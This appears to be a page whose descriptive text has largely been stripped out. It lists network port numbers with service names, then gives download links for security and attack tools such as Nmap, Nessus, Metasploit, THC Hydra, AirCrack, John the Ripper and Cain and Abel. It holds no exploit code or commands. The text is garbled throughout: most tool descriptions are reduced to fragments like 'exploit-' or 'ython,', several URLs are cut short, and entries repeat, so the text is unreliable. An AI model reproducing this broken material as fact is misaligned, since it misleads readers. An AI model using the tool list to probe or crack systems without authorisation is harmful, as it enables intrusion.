 2069 - HTTP Event Port

 2164 - Dynamic DNS Version 3

 2427 - Media Gateway Control Protocol Gateway

 2439 - SybaseDBSynch

 2450 - Netadmin

 2451 - Netchat

 2452 - SnifferClient

2463 - Symbios Raid

 2529 - UTS FTP

 2533 - SnifferServer

 2594 - sData Base Server

 2679 - Sync Server SSL

 2697 - Oce SNMP Trap Port

 2703 - SMS CHAT

 2775 - SMPP

 2811 - GSI FTP

2892 - SnifferData

2926 - Mobile-File-DL

 2948 - WAP push

 2949 - WAP push secure

 3007 - Lotus Mail Tracking Agent Protocol

 3043 - Broadcast Routing Protocol

 3051 - Galaxy Server

 3088 - eXtensible Data Transfer Protocol

 3111 - Web Synchronous Services

 3119 - D2000 Kernel Port
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 3120 - D2000 Webserver Port

 3126 - Microsoft .NETster Port

 3128 - Active API Server Port

 3185 - SuSE Meta PPPD

 3220 - XML NM over SSL

 3233 - WhiskerControl

 3274 - Ordinox Server

 3306 - MySQL

 3509 - Virtual Token SSL Port

 3510 - XSS Port

 3511 - WebMail/2

 3517 - IEEE 802.11 WLANs WG IAPP

 3567 - Object Access Protocol

3568 - Object Access Protocol over SSL

 3646 - XSS Server Port

 3694 - VPN Token Propagation Protocol

3713 - TFTP over TLS

 3724 - World of Warcraft

 3832 - xxNETserver

 3847 - MS Firewall Control

 3861 - winShadow Host Discovery

 3932 - Dynamic Site System

 3939 - Anti-virus Application Management Port

 3949 - Dynamic Routing Information Protocol

4000 - Terabase

 4112 - Apple VPN Server Reporting Protocol

4159 - Network Security Service

 4321 - Remote Who Is

 4672 - Remote file access server

 4678 - Boundary traversal

 4687 - Network Scanner Tool FTP

 4751 - Simple Policy Control Protocol

 4752 - Simple Network Audio Protocol

 4848 - App Server - Admin HTTP

 5269 - XMPP Server Connection

 5353 - Multicast DNS

 5357 - Web Services for Devices

 5358 - WS for Devices Secured

 5432 - PostgreSQL Database
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 5755 - OpenMail Desk Gateway server

 5757 - OpenMail X.500 Directory Server

 6122 - Backup Express Web Server

 6622 - Multicast FTP

 6714 - Internet Backplane Protocol

6788 - SMC-HTTP

6789 - SMC-HTTPS

 7421 - Matisse Port Monitor

 7443 - Oracle Application Server HTTPS

7548 - Threat Information Distribution Protocol

 7549 - Network Layer Signaling Transport Layer

 7627 - SOAP Service Port

 7629 - OpenXDAS Wire Protocol

 7677 - Sun App Server - HTTPS

 7743 - Sakura Script Transfer Protocol

8008 - HTTP Alternate

 8080 - HTTP Alternate

 8081 - Sun Proxy Admin Service

 8443 - PCsync HTTPS

 8473 - Virtual Point to Point

 8567 - Object Access Protocol Administration

 8800 - Sun Web Server Admin Service

 8989 - Sun Web Server SSL Admin Service

 9200 - WAP connectionless session service

 9201 - WAP session service

9202 - WAP secure connectionless session service

 9595 - Ping Discovery Service

9598 - Very Simple Ctrl Protocol

 10000 - Network Data Management Protocol

 11967 - SysInfo Service Protocol

 11997 - WorldMailExpress 

 14414 - CA eTrust Web Update Service

 15740 - Picture Transfer Protocol

 26000 – Quake

- Netscape Enterprise Server Administration Server

 32773 - FileNET Component Manager

 33434 - Traceroute

 44321 - PCP server

 48128 - Image Systems Network Services
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- (tools) -

Nmap - Network mapper-

http://www.insecure.org/nmap/

Whisker - Rain Forest Puppy -

http://www.wiretrip.net/rfp

Twwwscan/Arirang - -

http://www.freebsd.org/ports/index.html

Stealth - Felipe Moniz-

http://www.nstalker.com

Snort -

 exploit-

www.snort.org/dl/binaries/win32/

Retina -

http://www.eeye.com/retina

Achilles - HTTP/SSL Proxy 

www.achilles.org/pages/info.asp

Nessus - UNIX-

www.nessus.org

Wireshark - -

www.filehippo.com/download_ethereal/

Nikto – 3200 

http://www.cirt.net/code/nikto.shtml

http://www.insecure.org/nmap/
http://www.wiretrip.net/rfp
http://www.freebsd.org/ports/index.html
http://www.nstalker.com
http://www.snort.org/dl/binaries/win32/
http://www.eeye.com/retina
http://www.achilles.org/pages/info.asp
http://www.nessus.org
http://www.filehippo.com/download_ethereal/
http://www.cirt.net/code/nikto.shtml
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John the Ripper -

http://www.openwall.com/john/

Eraser - Windows-

http://www.heidi.ie/eraser/download.php

Netcat -

http://download.insecure.org/stf/nc110.tgz

http://netcat.sourceforge.net/

Metasploit Framework -

exploit 

http://metasploit.org/tools/

Hping - ICMP, UDP, TCP-

TCP/IP .

Kismet - wireless sniffer. 

TCPdump -

http://www.tcpdump.org/

Yersinia -
http://yersihia.sourceforge.net

Cain and Abel - Windows-

www.oxid.it

John the Ripper -

http://www.openwall.com/john/

p0f - Fingerprint 

Ethereal - .

http://www.ethereal.com

http://www.openwall.com/john/
http://www.heidi.ie/eraser/download.php
http://download.insecure.org/stf/nc110.tgz
http://netcat.sourceforge.net/
http://metasploit.org/tools/
http://www.hping.org/
http://www.kismetwireless.net/download.shtml
http://www.tcpdump.org/
http://yersihia.sourceforge.net
http://www.oxid.it
http://www.openwall.com/john/
http://www.lcamtuf.coredump.cx/p0f/p0f.shtml
http://www.ethereal.com
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PuTTY - -

NetStumbler - Windows-

http://www.stumbler.net/

THC Hydra - authentication  Telnet,  

-hydra/

THC Amap - fingerprinting 

-amap/

Paros proxy - proxy SQL injection, XSS

Dsniff -  sniffer 

g/~dugsong/dsniff/

GFI LANguard - Windows-

www.gfi.com/downloads/

AirCrack - WEP/WPA 

-ng.org/

Superscan - Windows- ping, traceroute, http head, 

Netfilter -

http://www.netfilter.org/

HTTP fuzzer - -

www.spidynamics.com/products/webinspect/toolkit.html

http://www.chiark.greenend.org.uk/~sgtatham/putty/
http://www.stumbler.net/
http://www.thc.segfault.net/thc-hydra/
http://www.thc.segfault.net/thc-amap/
http://www.parosproxy.org/
http://www.monkey.org/~dugsong/dsniff/
http://www.gfi.com/downloads/
http://www.aircrack-ng.org/
http://www.foundstone.com/resources/proddesk/superscan.htm
http://www.netfilter.org/
http://www.spidynamics.com/products/webinspect/toolkit.html
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- -

http://www.google.mn

Google

http://www.google.mn
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- -
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- -

ython, 

Python, 

Perl

-


